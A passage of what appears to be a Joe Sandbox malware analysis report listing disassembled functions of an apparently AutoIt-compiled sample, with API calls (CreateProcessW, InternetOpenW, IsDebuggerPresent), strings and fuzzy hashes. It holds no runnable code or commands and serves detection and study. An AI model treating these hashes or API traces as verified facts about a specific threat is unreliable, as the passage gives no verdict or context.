Opcode Fuzzy Hash: af86a9ffd3962c1bab60a20903c0ec5a61d6da757d281f563d0278ab14f65dc2
Instruction Fuzzy Hash: 30313271D0010AABCF25EFA5CC45AEF7FBAFF54340F000059F915A61A1D731A946CB60

Function 0067356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00673621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 0067365C

Strings

static, xrefs: 006735BC

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: be3fbec53e6bea48c554d1cd467493548cf00d5c41e71cef1352b9ed9ab3591c
Instruction ID: f12f191bbfbf04e6f90a9aeb1486913cc3e49212e49d1372d60a512304622891
Opcode Fuzzy Hash: be3fbec53e6bea48c554d1cd467493548cf00d5c41e71cef1352b9ed9ab3591c
Instruction Fuzzy Hash: F8318C71110204AEEB14DF78DC84AFB77AAFF88760F10D61DF9A997280DA31AD819760

Function 00674537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 0067461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00674634

Strings

', xrefs: 0067458E

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 4ce8f2e0df6158943d7fd2bfee07d17c6b045c2b1c67ccfe440937173bd9e52a
Instruction ID: 9bb9ef9dbc1c6f5396853fbf0d8985370c83caf3840f41fd5478325ccb8b4f3e
Opcode Fuzzy Hash: 4ce8f2e0df6158943d7fd2bfee07d17c6b045c2b1c67ccfe440937173bd9e52a
Instruction Fuzzy Hash: 233139B4A01209AFEB14CF69C994BDA7BB6FF49300F108069E908AB351DB70E941CF90

Function 006731EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0067327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00673287

Strings

Combobox, xrefs: 00673249

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 50fea000182fb285fec6c11b754d2e23d3a39b631e29033033e149f0c2dbe644
Instruction ID: 3f499dc4a7d8c0060ef73decc3eca274cead6d9e676077c6771e54896c19a103
Opcode Fuzzy Hash: 50fea000182fb285fec6c11b754d2e23d3a39b631e29033033e149f0c2dbe644
Instruction Fuzzy Hash: CA1190713002197FEF259F54DC84EEB3B6BEB993A4F108128F928A7391D6319E519760

Function 00673710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 005E600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 005E604C
Part of subcall function 005E600E: GetStockObject.GDI32(00000011), ref: 005E6060
Part of subcall function 005E600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 005E606A

GetWindowRect.USER32(00000000,?), ref: 0067377A
GetSysColor.USER32(00000012), ref: 00673794

Strings

static, xrefs: 00673757

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 8c81f56cfda0b0305bf73c64a0df7c60010a22a14ba452cc263e19bae8b2ab37
Instruction ID: ccbe2f929196d0bc2491a8e755af6da0747889634463c4b0514c84d0ea6cb0a3
Opcode Fuzzy Hash: 8c81f56cfda0b0305bf73c64a0df7c60010a22a14ba452cc263e19bae8b2ab37
Instruction Fuzzy Hash: E7116AB261021AAFDF04DFB8CC45EEA7BB9FB08354F004918F959E3250E735E8519B50

Function 0065CD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0065CD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 0065CDA6

Strings

<local>, xrefs: 0065CD66

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: c093438136fb88aa552ba3fb6a006a1f2afa3f26d01b268665db10542e140727
Instruction ID: 64f257e61abd1e5009e733d50c2d288e1dc70770ce417909f5b2784ab873fa21
Opcode Fuzzy Hash: c093438136fb88aa552ba3fb6a006a1f2afa3f26d01b268665db10542e140727
Instruction Fuzzy Hash: 3211A071205735BED7284B668C49FE7BEBAEF527B5F00432AB909C2180D6609849D6F0

Function 00673429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 006734AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 006734BA

Strings

edit, xrefs: 0067348F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: dac84a816c1f47f0e002bbc1dfe6845c6f5f04e2c162954fea29b6e9a96a4278
Instruction ID: ab3002d710d23f310ddb5e858f9b2349c789ad5b7ff2750aed3823d1dcad9fe4
Opcode Fuzzy Hash: dac84a816c1f47f0e002bbc1dfe6845c6f5f04e2c162954fea29b6e9a96a4278
Instruction Fuzzy Hash: 3E11BF71100118AFEB158F64DC44AEB37ABEB15374F608328FA68933D8C731DC91A750

Function 00646C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

CharUpperBuffW.USER32(?,?,?), ref: 00646CB6
_wcslen.LIBCMT ref: 00646CC2

Strings

STOP, xrefs: 00646CBC, 00646CC1

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: b74930cfae1e4063d93d1d1b5f885333fced8a49602aeea3d6a6717c899df837
Instruction ID: 658bc8b5c856796ea7ce2785d45449f472ff8cdb234a53f7e001db2dfff687bc
Opcode Fuzzy Hash: b74930cfae1e4063d93d1d1b5f885333fced8a49602aeea3d6a6717c899df837
Instruction Fuzzy Hash: 1801C432A005278ACB24AFBDDC859FF77A7FFA37147500538F85296290EA31DD41C651

Function 00641CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

Part of subcall function 00643CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00643CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00641D4C

Strings

ComboBox, xrefs: 00641CEB
ListBox, xrefs: 00641D16

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 961a3a86a388b5521a1a1d4002963165a3a3a0c29e523a0a7730bb08c18b5ce4
Instruction ID: 1a25d7d68e296bff733a304a6c6b2040173c9d5e6c96d1016918fec9e3ee148f
Opcode Fuzzy Hash: 961a3a86a388b5521a1a1d4002963165a3a3a0c29e523a0a7730bb08c18b5ce4
Instruction Fuzzy Hash: F0012871A00219ABCB18FFA0CC55DFE776AFF43350B100919F8625B3D1EA305D498660

Function 00641BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

Part of subcall function 00643CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00643CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00641C46

Strings

ComboBox, xrefs: 00641BE5
ListBox, xrefs: 00641C10

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: ca83882f58e95b37b9bce39761f37fb5125d404d44d618644fa010123834f749
Instruction ID: 14976f4debc867a6598a0044558b903c58ba76e2b991199838a2be7c7cdf8cea
Opcode Fuzzy Hash: ca83882f58e95b37b9bce39761f37fb5125d404d44d618644fa010123834f749
Instruction Fuzzy Hash: 4A01A77568111966CB18FB90CE95AFF77AAAB52340F140019A84667281EA249E4986B1

Function 00641C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

Part of subcall function 00643CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00643CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00641CC8

Strings

ComboBox, xrefs: 00641C69
ListBox, xrefs: 00641C94

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: e1e606dcffa356797cf1a5d482af953004e43a2ef7b9bfcf0c2f4b3f644d0b23
Instruction ID: 210f1115acf94f95a2562cae4d55140cc8c5a0bcdc9afe59ea280f3c8193ae8c
Opcode Fuzzy Hash: e1e606dcffa356797cf1a5d482af953004e43a2ef7b9bfcf0c2f4b3f644d0b23
Instruction Fuzzy Hash: 9301D6716C011967CB18FBA1CE95AFE77AAAB12340F540019B84677381FA249F49C671

Function 005FA4D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 005FA529

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

Strings

,%k, xrefs: 005FA509
3yc, xrefs: 005FA545, 005FA54D, 005FA552

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Init_thread_footer_wcslen
String ID: ,%k$3yc
API String ID: 2551934079-264884146
Opcode ID: 60cea029f3cbf5c91b4fdc17dd83c97c6eac0d3dfe35c5f362388d510ea1ceda
Instruction ID: 7df71ddc931ab36b51e7e8d7fc0753978c9a3f8647f73ad221c5a9dfd74c6d6e
Opcode Fuzzy Hash: 60cea029f3cbf5c91b4fdc17dd83c97c6eac0d3dfe35c5f362388d510ea1ceda
Instruction Fuzzy Hash: F0017BB274061A97CE18F768DC1FBBD3F56FB45710F500568F60A171C2EE149D418697

Function 00641D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

Part of subcall function 00643CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00643CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00641DD3

Strings

ComboBox, xrefs: 00641D75
ListBox, xrefs: 00641DA0

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: ac7e7653d07508d9e4c2ea851dedef5d35b2a2ea78f13eaa997d99be6297fb5a
Instruction ID: bb6ee6df2e777d0c7f09eb69e5d34d0ddf9185c5ccb479524482d8df7984a1be
Opcode Fuzzy Hash: ac7e7653d07508d9e4c2ea851dedef5d35b2a2ea78f13eaa997d99be6297fb5a
Instruction Fuzzy Hash: 2AF0F4B1F4021566CB18F7A4CC96BFE776ABF42350F040919B862672C1EA605D488660

Function 00678172 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,006B3018,006B305C), ref: 006781BF
CloseHandle.KERNEL32 ref: 006781D1

Strings

\0k, xrefs: 0067818A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: \0k
API String ID: 3712363035-2680258789
Opcode ID: ec3fda3be859a20789bb83c6346f1afa21b223b8956073275f0adeec1047a615
Instruction ID: a84dff1ea563ad31bb4a298b5c7dcfd982d1ab62530024b4623ac4ffe44e6a00
Opcode Fuzzy Hash: ec3fda3be859a20789bb83c6346f1afa21b223b8956073275f0adeec1047a615
Instruction Fuzzy Hash: 1FF054F1780720BEE3147B656C59FB73A5EDF04764F005424BB0CD52A1D6769E8083B8

Function 0066747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00667493
_wcslen.LIBCMT ref: 006674B9

Strings

3, 3, 16, 1, xrefs: 00667483

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: 5655a31ee84421c2c05be1592d7146db1cc55c1a26d488e70e4fb2198f2b573b
Instruction ID: d959d16abf7d78dd05a20f5ffbf6b370dcef612ca9e5a8cd7e7689f5c6cf4782
Opcode Fuzzy Hash: 5655a31ee84421c2c05be1592d7146db1cc55c1a26d488e70e4fb2198f2b573b
Instruction Fuzzy Hash: FDE02B4224522010D2752279DCC5ABF57CBCFC5B50B10183FFE81C23A6EE948D9193E4

Function 00640B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00640B23

Strings

Error allocating memory., xrefs: 00640B1C
AutoIt, xrefs: 00640B17

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 161e08474a1cb394b1fee63a4663bef05b5274ee235174cbb23e2d87f408072c
Instruction ID: 550d800c4c5a659930c1ce0fc8ac4825bd3ab93c7f83306fff9afb9beefcc4e8
Opcode Fuzzy Hash: 161e08474a1cb394b1fee63a4663bef05b5274ee235174cbb23e2d87f408072c
Instruction Fuzzy Hash: 56E0D83228431926D2583654BC07F897E86DF05B64F10442EF78C995C3CEE2649046AD

Function 00600D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 005FF7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00600D71,?,?,?,005E100A), ref: 005FF7CE

IsDebuggerPresent.KERNEL32(?,?,?,005E100A), ref: 00600D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,005E100A), ref: 00600D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00600D7F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: c1d4998837896b89a58ac9c0205d58a82919f4d4b98111bea505af1866ffabca
Instruction ID: fcad1968ffe176374e06ff32c92104b580bca03dd8b5bcc8f9ae39fda659e5f1
Opcode Fuzzy Hash: c1d4998837896b89a58ac9c0205d58a82919f4d4b98111bea505af1866ffabca
Instruction Fuzzy Hash: 2AE06D702007418BE364AFB8E8087437BE2FF00744F00892DE49AC6692EBB5E5848BA1

Function 005FE398 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 005FE3D5

Strings

8%k, xrefs: 005FE3CA
0%k, xrefs: 005FE3B5

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Init_thread_footer
String ID: 0%k$8%k
API String ID: 1385522511-3140963459
Opcode ID: 32ad67b042956ca81a4dab7c7f43861c70e00a3e68f30efbb088a2d4b54a8007
Instruction ID: 28de8d82b771b6227ee25b80b08855d2e5f4d3e7980c25780d0badd8ce2c488f
Opcode Fuzzy Hash: 32ad67b042956ca81a4dab7c7f43861c70e00a3e68f30efbb088a2d4b54a8007
Instruction Fuzzy Hash: E7E02073440919CBC7349B18B87EAE837D7FB04320B101A68E203471E19B3438C18659

Function 00653017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 0065302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00653044

Strings

aut, xrefs: 00653038

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: bf14f4eec309dbed716097e62f537d6eb3b3d4acf65a2c9c83b61cc2035abb1b
